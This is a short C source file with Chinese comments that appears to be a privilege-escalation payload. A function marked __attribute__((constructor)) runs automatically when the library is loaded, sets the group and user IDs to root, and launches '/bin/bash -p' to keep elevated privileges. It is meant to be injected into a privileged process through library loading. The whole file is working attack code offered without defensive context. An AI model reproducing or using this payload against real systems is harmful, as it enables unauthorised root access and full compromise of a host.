#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 使用 __attribute__((constructor)) 让函数在加载时自动执行
static void inject() __attribute__((constructor));

void inject() {
    printf("[+] 正在尝试提权...\n");

    // 设置 GID 和 UID 为 root
    if (setgid(0) != 0) {
        perror("setgid 失败");
        exit(1);
    }
    if (setuid(0) != 0) {
        perror("setuid 失败");
        exit(1);
    }

    // 执行一个 shell
    printf("[+] 提权成功，启动 shell...\n");
    system("/bin/bash -p");
}